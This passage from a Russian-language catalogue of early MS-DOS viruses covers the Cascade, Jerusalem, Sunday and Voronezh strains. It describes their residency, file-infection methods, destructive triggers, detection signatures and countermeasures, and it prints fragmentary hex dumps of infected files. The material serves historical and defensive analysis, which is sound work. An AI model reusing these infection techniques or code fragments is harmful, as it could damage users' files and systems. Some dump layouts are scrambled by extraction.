1988 г. в Институте прикладной математики имени М.В.Келдыша АН СССР. B Киеве появился в начале 1989 г. Одним из первых этот вирус исследовал Е.Ю.Портной, который самостоятельно разработал фаг для этого вируса, работающий как постпроцессор протокола детектора Ладыгина. Средства защиты появились примерно одновременно с вирусом, поэтому существенного вреда вирус не нанес. В Киеве первым фагом для данного вируса была австрийская программа SERUM3, которая может также работать и в режиме детектора. Среди отечественных программ, использовавшихся на начальной стадии борьбы с вирусом, следует отметить детектор Ладыгина (ИПМ АН СССР) VIRUS_D1. Неформальные названия. Данный вирус имеет порядка десятка неформальных названий. Среди них отметим следующие: Falling Letters (Падающие буквы), LetterFall (Буквопад), Rash (Сыпучка), вирус падающих букв, 1701, Letters (буквы -- О.Котик), "Слезы капали". SCAN называет данный вирус "1701/1704 Virus -- Version B [170X]". Программные средства защиты. Общие средства защиты достаточно эффективны против данного вируса. В частности, попытки записи вируса в запускаемый СОМ-файл детектируются всеми имеющимися фильтрами. Фильтр ANTI4US2 не срабатывает на попытку вируса стать резидентным, поскольку вирус предварительно перехватывает прерывание 21. При использовании системы управления доступом к винчестеру (Disk Manager, Advanced Disk Manager и т.д.) вирус не в состоянии попасть в разделы винчестера, для которых установлен статус READ ONLY. Однако при этом становится невозможным вызов программ с защищенной дискеты или раздела винчестера. Специальные средства защиты от данного вируса принципиально могут включать детектор, фаг для резидентной части, резидентный и пакетный фаги для зараженных файлов, активную и пассивную вакцину. Детектор может быть создан только на основе поиска начальных 16 байтов вируса, поскольку остальная часть вируса шифруется и развертывается уже в процессе выполнения. В настоящее время все сопровождаемые полидетекторы и полифаги обрабатывают программы, зараженные данным вирусом. Автор рекомендует компактную и удобную программу AIDSTEST Д.Н.Лозинского. Фрагмент дампа программы MORE.COM, зараженной вирусом RC-1701 000: E90E009090909090 9090909090909090 ................ +------------------------ J-сигнатура | (программа раскодировки) | 010:|01FA8BECE800005B 81EB31012EF6872A .......[..1....* 020: 0101740F8DB74D01 BC82063134312446 ..t...M....141$F 030: 4C75F8 +--------------- закодированная часть | тела вируса | 3A575901DE 4243CC634242DEDE Lu.:WY..BC.cBB.. 040: A23236062FCF3672 24DF3EBC2CDF362E .26./.6r$.>.,.6. 050: 3212361732290FB7 43289D1602020EE7 2.6.2)..C(...... 060: 8233363632322E26 2222262602237126 .36622.&""&&.#q& 070: 6D3A36363332DF2B 3F13464676507A5D m:6632.+?.FFvPz] 080: C86338529B9A46AE A2F9274D01A38022 .c8R..F...'M..." ... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. Пример карты памяти зараженного компьютера. В приводимой ниже карте памяти резидентная часть вируса занимает последнюю строку (1E1E) таблицы резидентных программ. Ее длина, указанная в графе "bytes", не соответствует действительной. Перехватываемые прерывания также не указаны. Addr -----(1A66) (1B4E) (1BA0) (1BC2) (1BE2) (1C62) (1E1E) Program -------DOS E1840 QUICK KBMNA DOSEDIT BDS1 N/A Parent -------N/A DOS DOS DOS DOS DOS N/A Sg -3 2 2 2 2 2 1 Bytes -----5504 1280 512 480 2032 7056 64 Hooked Vectors ------------------ 16 00 08 09 13 1A 5.1.2. Вирус RС-1704 (Cascade-B -- Буквопад-Б) Данный штамм отличается от исходного исправленной ошибкой, связанной с проверкой фирмы -- изготовителя BIOS. Других особенностей, по-видимому, не имеет. Детектируется полидетектором SCAN. Длина штамма 1704 (6A8h) байтов. 5.2. Иерусалимская группа Иерусалимская группа получила свое название с связи с тем, что один из представителей этой группы был обнаружен в конце 1987 г. студентом Иерусалимского университета. Вирус существует в нескольких разновидностях (штаммах), отличающихся по своим размерам, действиям и типам заражаемых файлов. Из них наиболее распространенным является версия, которая в пятницу, приходящуюся на 13 число, удаляет все запускаемые файлы. Другими словами, если в этот день файл, содержащий исполняемую программу, запускается на выполнение на зараженной машине, вирус удаляет его с диска и при попытке повторного выполнения этой программы MS DOS сообщит, что соответствующий файл не найден. Большинство представителей этой группы заражают COM-файлы, размещая свое тело в начале, а не в конце, как большинство других групп вирусов. 5.2.1 Вирус RCE-1813 (Ierusalem -- Иерусалим, Black Friday -- Черная пятница) Вирус RСЕ-1813 получил название Black Friday -- Черная пятница, поскольку, если 13 число месяца приходится на пятницу, то он удаляет все запускаемые файлы. Впервые обнаружен в Израиле, поэтому другим распространенным названием вируса является Israeli Virus -Израильский вирус. Формально вирус RСЕ-1813 является резидентным файловым вирусом, поражающим как СОМ-, так и ЕХЕ-файлы. Работоспособен на версиях, начиная с 2.0, как на PC XT, так и на PC AT. При выполнении зараженной программы вирус вначале проверяет наличие своей копии в памяти компьютера. Если она есть, то управление передается зараженной программе. Если ее нет, то вирус инсталлируется, выполняя следующие действия: 1) запоминает в своем теле значения байтов памяти с адресами 003FCh-003FEh; 2) размещает по указанным адресам программу копирования и передает ей управление; 3) программа копирования перемещает тело вируса в самые младшие адреса, выделенные для основной программы (при этом вирус в COMпрограмме копируется сам в себя, а в EXE-программе стирает часть кода основной программы), и возвращает управление в копию вируса; 4) восстанавливает старое содержимое байтов памяти с адресами 003FCh-003FEh; 5) определяет имя основной программы и функцией EXEC (21-4Bh) запускает ее на выполнение (т.е. в памяти компьютера в этот момент находятся 2 копии основной программы); 6) по окончании работы программы вирус освобождает лишнюю память и остается резидентным в памяти (с помощью прерывания 21-31h). Использование для постановки в резидент прерывания 21-31h означает, что вирус виден по карте памяти (см. ниже). Из нее видно, что после загрузки в память вирус перехватывает прерывания 08 и 21. После того, как вирус RСЕ-1813 стал резидентным, он пытается заразить каждый запускаемый файл, за исключением файлов с именем COMMAND.COM. Файлы типа СОМ поражаются данным вирусом однократно, при этом дата их создания не меняется, а длина увеличивается на 1813 байтов. В инфицированной программе тело вируса размещается в начале файла, поскольку при заражении COM-файла вирус выделяет область памяти (с помощью int 21h, ah=48h), в которую копирует сначала свое тело, а затем зараженный файл. Полученный образ зараженного файла записывается на диск с добавление 5-байтового поля (обычно это поле содержит "MsDos", однако имеются штаммы с другим содержанием), используемого вирусом в качестве признака зараженности COMфайлов. Ограничений на длину файлов нет, поэтому вирус уничтожает COM-файлы, длина которых после заражения превысит 64K. Вирус не заражает COMMAND.COM, определяя его по имени файла. ЕХЕ-файлы (включая оверлейные) поражаются многократно, порой разрастаясь до невероятных размеров, достигающих предельно допустимого для данной машины размера (например, Norton Commander может достичь размера в несколько сот килобайт). Дата создания не изменяется, а длина при каждом заражении увеличивается на 1808 -1823 байта. Тело вируса размещается обычно в конце файла, однако в случае, если поражаемый EXE-файл имеет неверную длину в заголовке (это имеет место, например, в ряде программ, использующих часть своего файла в качестве буфера на диске для хранения промежуточных данных), то вирус размещается в середине. Такой эффект наблюдается для FOXBASE, QC и ряда других больших программ, использующих часть своего дискового файла в качестве буфера или неявного оверлея. При изменении заголовка файла вирус записывает в поле контрольной суммы значение 1984h. Фаза проявления наступает через некоторое время после того, как вирус стал резидентным (это время зависит от тактовой частоты ЭВМ и для обычных РС/ХТ с тактовой частотой 4.77 Мгц составляет порядка 40 мин.) и зависит от даты и дня недели. В "обычный" день, не приходящийся на пятницу, совпадающую с 13 числом, проявление данного вируса состоит в замедлении работы ЭВМ. При этом выдача любой команды, например DIR, приводит к медленному "выползанию" строк на экран. Этот эффект основан на том, что вирус перехватывает преры- вание от таймера (8h) и при каждом прерывании 8h выполняет цикл из нескольких тысяч команд. Обычно через некоторое время после начала стадии проявления действия вируса приводят к зависанию MS DOS с сообщением "Stack overflow". Вторым визуальным эффектом является вырывание кусков изображения с появлением на экране черного окна в левом нижнем углу экрана (вирус выполняет скроллинг части экрана). Если текущий день недели -- пятница, а текущее число -- 13, то стадия проявления меняется: в такие дни вирус не заражает собой все запускаемые файлы, а просто удаляет их с диска. Таким образом, при попытке запустить программу на выполнение, MS DOS выдает сообщение о том, что файл не найден. В результате будут уничтожены все файлы, которые пользователь пытается запускать, пытаясь выяснить, что происходит с компьютером. Поэтому непреложным правилом поведения пользователей должно стать следующее: при возникновении каких-то аномалий необходимо перегрузиться с защищенной дискеты и уже после этого пытаться анализировать, что произошло с компьютером. Как уже отмечалось, из-за ошибки в тексте вируса при заражении как COM-, так и EXE-файлов, имеющих размер, дающий при увеличении на 1808 -1821 байтов величину, превосходящую 64К, 128К и т.д., заражаемая программа необратимо портится, перезаписываясь в начале. Исторические замечания. Вирус RСE-1813 появился в Израиле в начале 1988 г. В СССР обнаружен в ноябре 1988 г. в одном из московских кооперативов. Первый детектор был, по-видимому, разработан в Институте программных систем (Переславль-Залесский), однако эта программа до Киева не дошла. По результатам анкеты, проведенной автором на апрельском семинаре, этот вирус был обнаружен в 10 организациях из 50 участников семинара, принявших участие в анкетировании. Поскольку создание средств защиты несколько запоздало (в Киеве эпидемия началась приблизительно в апреле, а средства защиты появились примерно в июне), вирус распространился довольно широко и нанес определенный ущерб: десятки, если не сотни тысяч часов были потеряны на восстановление и перезапись зараженных программ. Первыми использовавшимися в киевской практике детекторами для этого вируса были DOCTOR А.А.Чижова и ANTIDOS киевской разработки. Первые фаги, использовавшиеся в Киеве для борьбы с этим вирусом, были разработаны А.А.Чижовым (DOCTOR1) и Л.И.Обуховым (FAG1813 -август 1989 г.). Программа FAG1813, распространявшаяся как SHAREWARE по цене 1 рубль за копию (см.СП 1-1), работала устойчиво, однако не могла рекурсивно обрабатывать подкаталоги (впрочем, программа очень мала (1808 байтов)). Для рекурсивной обработки подкаталогов использовалась с RUNTREE. Кроме того, Л.И.Обуховым была разработана резидентная вакцина VAC1813R, а позднее VAC1813Q. Вакцина содержит обработчик неиспользуемого в MS DOS прерывания Е0, используемого вирусом для определения, имеется ли в оперативной памяти копия вируса или нет. Если этот обработчик возвращает значение 3, то вирус считает, что он уже является резидентным и загрузку собственной копии в список резидентных программ не выполняет. Данная вакцина является первым отечественным продуктом такого типа и позволяет, в частности, работать на зараженной машине без дезактивации всех зараженных файлов. Версия VAC1813Q выдает предупреждающее сообщение всякий раз, когда делается попытка запустить зараженную программу. Таким образом, она является одновременно резидентным детектором для данного типа вируса. Позднее В.В.Пономаренко была разработана поливакцина NEATVAC (СП 2-7). Зарубежные программы появились в СССР несколько позднее. Первой из них была программа FAG_SU, разработанная Joe Ratcatcher & Anre Molnar. Неформальные названия. Данный вирус имеет более десятка неформальных названий. Среди них: Hebrew University, PLO (ООП), Black Hole (Черная дыра), Вирус замедления, Time (Время -- О.Котик). Полидетектор SCAN называет данный вирус "Jerusalem Virus Version B [Jeru]". Методы и программные средства защиты. В настоящее время все полифаги и полидетекторы распознают этот вид вируса. Однако почти все из указанных программ не обрабатывают случай, когда вирус находится в середине файла. Поэтому результаты их работы необходимо контролировать с помощью контекстного поиска по всему диску. В последних версиях полифага DOCTOR введен новый ключ, задающий расширенную обработку файлов. В этом случае проводится полный просмотр файлов. Поскольку для каждого зараженного СОМ-файла вирус в конце дописывает признак зараженности, который состоит из 5 байтов, содержащих слово MsDos, можно реализовать пассивное вакцинирование СОМ-файлов от этого типа вирусов. Для этой цели применима, например, команда COPY, если заготовить слово MsDos в отдельном файле, а затем конкатенировать COM-файлы с этим файлом. Фрагмент дампа дрозофилы, зараженной вирусом RCE-1813 +---------------- команда обхода области данных | (дрозофила перемещена в конец файла - см. ниже) +-----+ 0000:|E9920073554D7344 6F7300018F250000 ...sUMsDos...%.. 0010: 001000D800AD0F5C 06FD1856059D1007 .......\...V.... 0020: 7E00000000000000 0000000000000000 ~............... 0030: 000E258000000080 000E255C000E256C ..%.......%\..%l 0040: 000E250004FABA29 0053A1000000004D ..%....).S.....M 0050: 5A8000C300730160 00EA0AFFFF771710 Z....s.`.....w.. 0060: 078419C50077171E 0000009090909090 .....w.......... 0070: 0500200021001B01 00021000707D0100 .. .!.......p}.. 0080: B9412A9B434F4D4D 414E442E434F4D01 .A*.COMMAND.COM. 0090: 0000000000 +--------- J-сигнатура | 0095 |FCB4E0 CD2180FCE0731680 .........!...s.. 00A0: FC037211B4DDBF00 01BE100703F72E8B ..r............. 00B0: 8D1100CD218CC805 10008ED0BC000750 ....!..........P 00C0: B8C50050CBFC062E 8C0631002E8C0639 ...P......1....9 00D0: 002E8C063D002E8C 0641008CC0051000 ....=....A...... 00E0: 2E010649002E0106 4500B4E0CD2180FC ...I....E....!.. ... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. 05E0: 1B00B82425CD2107 1F5F5E5A595B589D ...$%.!.._^ZY[X. 05F0: 2EFF2E1700000000 0000000000000000 ................ 0600: 4D9D100010383133 522E434F4D000122 M....813R.COM.." 0610: E9920073554D7344 6F7300018F250000 ...sUMsDos...%.. 0620: 001000D800AD0F5C 06FD1856059D1007 .......\...V.... 0630: 7E00000000000000 0000000000000000 ~............... 0640: 000E258000000080 000E255C000E256C ..%.......%\..%l 0650: 000E250004FABA29 0053A1000000004D ..%....).S.....M 0660: 5A8000C300730160 00EA0AFFFF771710 Z....s.`.....w.. 0670: 078419C50077171E 0000009090909090 .....w.......... 0680: 0500200021001B01 00021000707D0100 .. .!.......p}.. 0690: B9412A9B434F4D4D 414E442E434F4D01 .A*.COMMAND.COM. 06A0: 0000000000FCB4E0 CD2180FCE0731680 .........!...s.. ... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. +------------------------ тело дрозофилы | 0710:|9090909090909090 9090909090909090 ................ 0720:|4D73446F73 MsDos +----------+ +---------------- признак зараженности COM-файла Пример карты памяти зараженного компьютера. В приводимой ниже карте памяти резидентная часть вируса занимает последнюю строку (1CD0) таблицы резидентных программ. Перехватываемые прерывания соответствуют действительности. Addr Program Parent Sg Bytes Hooked Vectors -----(19A6) (1A8E) (1AE0) (1BC0) (1C06) (1C2A) (1C4C) (1CD0) -------DOS E1840 RELEASE GRAPHICS QUICK KBMNA DOSEDIT N/A -------N/A DOS DOS DOS DOS DOS DOS DOS -2 2 2 2 2 2 2 1 -----3536 1280 3552 1088 544 512 2064 1824 ----------------27 05 09 16 08 21 5.2.2. Вирус RCE-1636 (Sunday -- Воскресенье) Данный штамм получил название Sunday -- воскресенье, поскольку в этот день недели вирус удаляет все запускаемые файлы. Формально вирус RСЕ-1636 является резидентным файловым вирусом, поражающим как СОМ-файлы, так и ЕХЕ-файлы. Вирус не проверяет версию MS DOS, на которой функционирует. Работоспособен на версиях, начиная с 2.0 как на PC XT, так и на PC AT. При выполнении зараженной программы вирус вначале проверяет наличие своей копии в памяти компьютера, аналогично тому, как это делает вирус RCE-1813. Затем вирус инсталлируется и перехватывает прерывания 21 и 8. Механизм размножения вируса стандартен -- перехват прерывания 21-4B и заражение каждой подходящей запускаемой на выполнение программы, за исключением файла с именем COMMAND.COM. Ограничений на длину файлов нет, поэтому вирус уничтожает COM-файлы, длина которых после заражения превысит 64K. Вирус не заражает файлы с именем COMMAND.COM. Файлы типа СОМ поражаются данным вирусом однократно, при этом дата их создания не меняется, а длина увеличивается на 1636 байтов. В инфицированной программе тело вируса размещается в начале файла. Со смещением 184h от начала зараженного файла расположена текстовая строка COMMAND.COM, а со смещением 351h -- текст сообщения, выдаваемого вирусом на экран: Today is SunDay! Why do you work so hard? All work and no play make you a dull boy! Come on ! Let's go out and have some fun!$ (Сегодня воскресенье! Зачем работать так напряженно ? Постоянная работа без игр делает Вас занудой ! Пошли ! Давай выйдем из дому и развлечемся !) В конец зараженного СОМ-файла записывается пятибайтовое поле (обычно это поле содержит C8h, F7h, E1h, EEh, E7h, однако возможны штаммы с другим содержанием). Указанное поле используется вирусом в качестве признака зараженности COM-файлов. EXE-файлы заражаются однократно. Контроль зараженности по тому же пятибайтовому полю. При заражении EXE-файлов вирус дописывает свое тело в конец программы и исправляет заголовок EXE-файла, запоминая некоторые поля. Как и RCE-1813, вирус записывает, вместо контрольной суммы, число "1984". При этом оригинальное значение контрольной суммы теряется. В конец зараженного файла дописываются упомянутые выше 5 байт. Как уже указывалось, данный вирус имеет стадию проявления, наступающую в воскресенье. В этот день вирус не заражает собой все запускаемые файлы, а, как и RCE-1813, удаляет их с диска. Перехватывая прерывание от таймера (INT 8), вирус отсчитывает один час от начала режима удаления запускаемых файлов и выводит приведенное выше сообщение. Вирус имеет несколько штаммов, в одном из которых в этом месте допущена ошибка и данная ветвь кода никогда не выполняется. Аналогично вирусу RCE-1813, возможна запись вируса в середину "расширенных" EXE-файлов. Исторические замечания. Вирус RСE-1636 появился в конце 1988 -- начале 1989 г. в США. В СССР обнаружен к марте 1990 в Ленинграде и Киеве, а чуть позднее в Москве. Первым отечественным полифагом для данного вируса был, по-видимому, AIDSTEST (версии, начиная с апреля 1990), обнаруживают и уничтожают этот штамм. Анализ кода позволяет предположить, что автор использовал в качестве основы для его написания вирус RCE-1813. Неформальные названия. Полидетектор SCAN называет данный штамм "Sunday Virus [Sunday]". Методы и программные средства защиты. См. прил.1. Фрагмент дампа дрозофилы, зараженной вирусом RCE-1636 000: 010: 020: 030: 040: 050: 060: 070: 080: 090: 0A0: 0B0: 0C0: 0D0: 0E0: 0F0: 100: ... 240: 250: 260: 270: 280: 290: 2A0: 2B0: 2C0: 2D0: 2E0: 2F0: ... 5D0: 5E0: 5F0: 600: 610: 620: 630: 640: 650: 660: 670: 680: E992000131C8F7E1 002200AA00DF0F60 7E00000000000000 10E02B8000000080 00E01B80006C3E12 5AC4017500000020 068419C400160E1E 050020008814A579 B9412A9B434F4D4D 0000000000 EEE70001F51E0000 02FD125605C61090 0000000000004506 00E02B5C00E02B6C 00D33900F006004D 003906FFFF160E5D 000000909090CD20 0002100060E30000 414E442E434F4D01 ....1........... .".....`...V.... ~.............E. ..+.......+\..+l .....l>...9....M Z..u... .9.....] ............... .. ....y....`... .A*.COMMAND.COM. +------ начало инсталлятора | |FCB4FF CD2180FCFF731580 .........!...s.. FC047210B4DDBF00 01BE5F0603F72E8B ..r......._..... 4D11CD218CC80510 008ED0BC5D0650B8 M..!........].P. C40050CBFC062E8C 0631002E8C063900 ..P......1....9. 2E8C063D002E8C06 41008CC00510002E ...=....A....... 010649002E010645 00B4FFCD2180FC04 ..I....E....!... 7510072E8E164500 2E8B2643002EFF2E u.....E...&C.... 470033C08EC0BBFC 03268B072EA34B00 G.3......&....K. .. .. .. .. .. .. .. .. .. .. .. ... .. .. .. .. .. 1F00907E5E5B582E FF0E1F002EFF2E13 ...~^[X......... 00546F6461792069 732053756E446179 .Today is SunDay 212057687920646F 20796F7520776F72 ! Why do you wor 6B20736F20686172 643F0A0D416C6C20 k so hard?..All 20776F726B20616E 64206E6F20706C61 work and no pla 79206D616B652079 6F7520612064756C y make you a dul 6C20626F79210A0D 436F6D65206F6E20 l boy!..Come on 21204C6574277320 676F206F75742061 ! Let's go out a 6E64206861766520 736F6D652066756E nd have some fun 21249C80FCFF7505 B800049DCF80FCDD !$....u......... 740E3D004B7503EB 35909D2EFF2E1700 t.=.Ku..5....... 5858B800012EA30A 00582EA30C00F3A4 XX.......X...... .. .. .. .. .. .. .. .. .. .. .. ... .. .. .. .. .. 1FC51680002E8B0E 7200B80143CD218D ........r...C.!. 161B00B82425CD21 071F5F5E5A595B58 ....$%.!.._^ZY[X 9D2EFF2E1700FC03 0000000000000000 ................ 0000000000000000 0000000000000000 ................ 0000000000000000 0000000000000000 ................ 0000000000000000 00002C0825460008 ..........,.%F.. 250825C60716026C 1540003CFC04000D %.%....l.@.<.... C97E9300010702D4 00F51E55C8556CFE .~.........U.Ul. B98B00803EEB54A2 4C80003E00435690 ....>.T.L..>.CV. 9090909090909090 9090909090909090 ................ 9090909090909090 90909090909090CD ................ 20C8F7E1EEE7 ...... +--------+ +----------- признак зараженности файла 5.2.3. Воронежская подгруппа Воронежская подгруппа включает в настоящее время три вируса: RC529, RC-600 и RCE-1600, по-видимому, принадлежащие одному (отечественному !) автору. 5.2.3.1. Вирус RC-529 (Peterburg -- Петербург, Пакость-1) Формально данный вирус можно отнести к резидентным файловым вирусам, заражающим файлы с расширением COM. Не проверяет версию операционной системы, но использует имя программы, которое заносится в Environment версии MS DOS не ниже 3.0. При запуске зараженной программы инсталлируется, перехватывая прерывание 21. Заражает только COM-файлы при их выполнении. Определяет тип программы по расширению имени, из-за чего EXE-программы, имеющие расширение COM, после заражения теряют работоспособность. Работоспособность таких программ восстанавливается после применения соответствующего фага. Подобно остальным вирусам иерусалимской группы, при заражении COM-файлов записывается в начало, переписывая старое начало в конец файла. Уровень программирования выдает начинающего: основная часть логики некритично заимствована из вируса RСE-1813. Исторические сведения. Впервые обнаружен в Ленинграде весной 1989 г. Автору был передан Д.Н.Лозинским. Первым фагом для данного вируса был, по-видимому, AIDSTEST. Неформальные названия. Помимо приведенных выше неизвестны. Полидетектором SCAN не детектируется. Методы и программные средства защиты. См. прил.1. Фрагмент дампа программы DUMY1744,зараженной вирусом RC-529 000: 010: 020: 030: 040: 050: ... 1B0: 1C0: 1D0: 1E0: 1F0: 200: 210: 220: *** 8E0: B815CA8B361B01BF 1901CD21FF361F01 017900C0010400C4 020100FC02010000 256C000E25CA01A1 0303061D01050001 .. .. .. .. 15B8004233D28BCA 1D01B440CD21B801 03CD21B43ECD21B8 028B5600CD212EC5 8BE55A1F5B5807C3 1856059D10250336 0090909090909090 9090909090909090 следующие строки 90 00018B0E1D018B1E ....6........... C30101D007110247 ...!.6.........G 014D001102EA00FB .y.......M...... 0080000E255C000E ............%\.. 1D0105140190A305 %l..%........... A30D038BE0050F00 ................ .. .. .. .. .. .. .. .. .. CD21720AFEC68B0E ...B3....!r..... 578B0E07038B1609 ...@.!..W....... 01438B0E0B038E5E ..!.>.!..C.....^ 160103B82425CD21 ..V..!......$%.! B003CFC3C35C06FD ..Z.[X.......\.. 0021002000360664 .V...%.6.!. .6.d 9090909090909090 ................ 9090909090909090 ................ идентичны предыдущей *** . 5.2.3.2. Вирус RC-600 (Пакость-2) Данный штамм аналогичен штамму RC-529 и заражает только COM-файлы. Формально вирус RС-600 является резидентным файловым вирусом, поражающим СОМ-файлы. Вирус не проверяет версию MS DOS, на которой функционирует. По-видимому, работоспособен на версиях, начиная с 2.0. При запуске зараженной программы вирус сразу пытается инсталлироваться в оперативной памяти. Для определения, имеется ли уже в памяти резидентный вирус, используется стандартный для данной группы вирусов механизм: вирус выдает неиспользуемое MS DOS прерывание 21-AB, а затем проверяет содержимое регистра AX. Это делает возможным создание резидентной вакцины и такая вакцина имеется (NEATVAC). Файлы заражаются при загрузке в память для выполнения (прерывание 21-4Bh). Заражаются файлы типа СОМ, даже если они имеют расширение ЕХЕ. Дата и время создания зараженного файла не изменяются, а длина увеличивается на 600 байтов. Минимальная длина заражаемых файлов составляет 600 байтов (258h), а максимальная 60 000 байтов (EA60h). Не заражаются файлы, содержащие в первых двух байтах значение, превышающее EF60h, а также файлы с атрибутом READ ONLY. Вирус не заражает COMMAND.COM. Файлы заражаются однократно, при этом дата их создания не меняется, а длина увеличивается на 600 байтов. В инфицированной программе тело вируса размещается в начале файла. Перехватывает прерывание 21h. Вирус шифрует часть своего тела (50 байтов, начиная с 16 байта от начала). Первые 600 байт заражаемой программы (участок, переносимый в конец файла) с также шифруются с помощью операции XOR 0BBh и переносятся в конец файла. На их место помещается тело вируса (тоже частично закодированное -- 50 байтов, начиная с 17-го -- XOR 0DDh). Фаза проявления у данного вируса отсутствует. При попытке запуска программы из оболочек типа NC на зараженной машине, если COMMAND.COM находится на защищенном от записи диске, происходит "выпадение" в DOS. При попытке заражения файлов, расположенных на защищенной от записи дискете, иногда (не всегда) появляется стандартное сообщение "Abort, Retry...". Это связано с ошибкой в подпрограмме обработки прерывания 24h. Исторические замечания. По-видимому, вирус имеет отечественное происхождение, поскольку в теле вируса имеется зашифрованная строка "Oleynikoz S., 1990". Вирус RСE-600 появился в СССР в начале 1990 г. Обнаружен А.Сессой в Днепропетровске в середине апреля 1990г. Значительного распространения вирус не получил. Из полифагов, распространяемых бесплатно, первым был, по видимому, -V Е.Касперского (СП 2-7). Неформальные названия. Помимо приведенного выше иногда используется название 600 и Oleynikoz. Программные средства защиты. Для борьбы с вирусом годятся имеющиеся контекстные детекторы и резидентные программы. В качестве фага рекомендуется использовать -V Е.Касперского или Aidstest. Фрагмент дампа дрозофилы, зараженной вирусом RC-600 (обратите внимание, что байты 90h перекодированы в BBh) 000: 010: 020: 030: 040: 050: 060: 070: 080: 090: 0A0: 0B0: 0C0: 0D0: 0E0: 0F0: 100: ... 240: 250: 260: BE1001B932008A24 697610FCE08888A8 DD530566DEDDE356 C266DFDD56DAF05D 63DD00B90008F3A4 AB7504B85555CF50 9C50535152565706 5A595B589DEA1C02 213E891E76013E8C 3E8C0644021E8CC0 01B82125CD210E1F BBEC018B3F83FF00 8B0701C781C70001 EE0157C30500018B BB88054647E2F6B8 5605E00F55767F63 362B23232A000000 .. .. .. .. 0300E927FEB8003E F201B82425CD21C3 0290BB05AEBA9531 80F4DD882446E2F6 DE3453DD5115F0DC DAF05DDDE354DAD3 DD54DA531D62DDDD 8BD0EB2E90FB80FC FEC43D004C587515 1EE99E001F075F5E BC128EDAB82135CD 0678013E891E4202 8ED88BD31F8D164D 1E07BED401B90001 7502CD2057BBEE01 FC57F3A45F588B0E F0BF0001FC8A0434 000150C360025802 7473717560004934 00CF8BDA1E52060E .. .. .. .. CD218B1EF0018E06 3820818089928E82 AF0FB9769AFD594D ....2..$....$F.. iv.......4S.Q... .S.f...V..]..T.. .f..V..].T.S.b.. c............... .u..UU.P..=.LXu. .PSQRVW......._^ ZY[X.........!5. !>..v.>..x.>..B. >..D...........M ..!%.!.......... ....?...u.. W... .........W.._X.. ..W............4 ...FG.....P.`.X. V...Uv.ctsqu`.I4 6+##*........R.. .. .. .. .. .. ...'...>.!...... ...$%.!.8 ...... .......1...v..YM 270: 280: 290: 2A0: *** 4A0: 4B0: 01BBBB769BB1B626 2935299B2F3B3230 ...v...&)5)./;20 9B2A353F3E2B3D33 299B39332B282A9B .*5?>+=3).93+(*. ED8D8B8B9B9B9B93 E9F89B8D8B8B929A ................ BBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBB ................ последующие строки идентичны предыдущей *** 3F3033363B9B2C33 2A293538359B2F3B ?036;.,3*)585./; 32303B9B969B8D8B 20;..... 5.2.3.3. Вирус RC-1600 (Voronezh 2.01 -- Воронеж 2.01, Пакость-3) Последний и наиболее сложный из рассматриваемой подгруппы. Неформальное название связано с наличием в теле вируса соответствующей текстовой строки. Формально представляет собой резидентный файловый вирус, заражающий COM- и EXE-файлы. С сожалением приходится констатировать, что в данном вирусе реализована идея, неосторожно высказанная Д.Н.Лозинским в документации к полифагу AIDSTEST (AIDSREAD.ME): с целью затруднить обнаружение обычными фагами, вирус не меняет точку входа в EXE-файле, изменяя Relocation table. При заражении EXE-файлов тело вируса дописывается в конец заражаемой программы. Файлы заражаются не только при запуске программ на исполнение, но и при открытии файлов. Уровень программирования создает противоречивое впечатление. Имеется ряд признаков, позволяющих говорить о близости "почерка", которым написаны данный вирус и вирус RC-600. Исторические замечания. Обнаружен в Воронеже в июне 1990 г. А.Н.Мартемьяновым. Автору передан Д.Н.Лозинским. Из полифагов, распространяющихся бесплатно, первым его включил Е.Сусликов в полифаг К32. Значительного распространения вирус не получил. Неформальные названия. Помимо приведенных выше иногда используется название 1600. Программные средства защиты. Для борьбы с вирусом годятся имеющиеся контекстные детекторы и резидентные программы. В качестве фага можно рекомендовать упомянутый выше полифаг К32. Фрагмент дампа вируса 000: 010: 020: 030: 040: 050: 060: 070: 080: 090: ... 0A0: 0B0: 0C0: 0D0: 0E0: 0F0: 170: 180: 190: 1A0: 1B0: ... 5B0: 5C0: 8CD80E1F50E80000 CD213D55557503E9 D8BB03003E8B072D 02003E8B072DEA00 BE00015B5301DE0E EB74909CFB80FCAB 003D754050535152 8BFA1E07F2AE83EF 00BF8902F3A683F9 8C02B904005EF3A6 .. .. .. .. 5B58740950FEC43D 525657061EE91F01 9DEA60142B028EDA C2013E8C06C4013E 038D165301B82125 2E803F0074411F8C FC8A0434BB880546 C3F7854006CC7DE5 767F637473717560 2C3139393020322E 0100081A00110300 .. .. .. .. 595B53BA4007CD21 00CD21BB1001BE83 5B81EB080153B4AB D0008CC02D01008E EA003E8907061FBB 3E89078EC0BF0001 1FB9A406F3A48BD0 7505B855559DCF3D 565706B9410030C0 048BF7560E07B904 0075045EEB0D90BF 83F900075F5E5A59 .. .. .. .. 004C587513505351 1F075F5E5A595B58 B82135CD213E891E 891E75033E8C0677 CD215ABBB00201D3 D80E1F8BCA5F0750 47E2F6B800015B50 1145584565786555 566F726F6E657A68 3031B430CD213C00 000000002A390000 .. .. .. .. B80042BA0000B900 028B0CBA0001B440 ....P...[....S.. .!=UUu......-... ....>..-..>..... ..>..-..>....... ...[S........... .t......u..UU..= .=u@PSQRVW..A.0. ...........V.... .........u.^.... .....^......_^ZY .. .. .. .. .. [Xt.P..=.LXu.PSQ RVW......._^ZY[X ..`.+....!5.!>.. ..>....>..u.>..w ...S..!%.!Z..... ..?.tA......._.P ...4...FG.....[P ...@..}..EXEexeU v.ctsqu`Voronezh ,1990 2.01.0.!<. ............*9.. .. .. .. .. .. Y[S.@..!..B..... ..!............@ 5D0: 5E0: 5F0: 600: 610: 620: 630: 5B53CD215B5A5953 028E1ED202B80143 1F5BE80300E9C0FA 028E068702B82425 01438B16D4028E1E 1F5D58E945FF368B 023DFA9C2EFF1EC2 B80157CD218B16D4 2E8B0ED002CD210E B8003ECD218B1E85 CD21C3558BEC1EB8 D20231C9CD217306 5E04B8003ECD21B8 011F368946045DC3 [S.![ZYS..W.!... .......C......!. .[........>.!... ......$%.!.U.... .C........1..!s. .]X.E.6.^...>.!. .=........6.F.]. 5.2.4. Другие представители иерусалимской группы. Как уже указывалось, вирусы иерусалимской группы относятся к одним из самых распространенных. Среди них следует отметить первоапрельскую подгруппу, а также вирус FU MANCHU. В настоящее время эти вирусы в СССР еще не выделены. Некоторые сведения о них 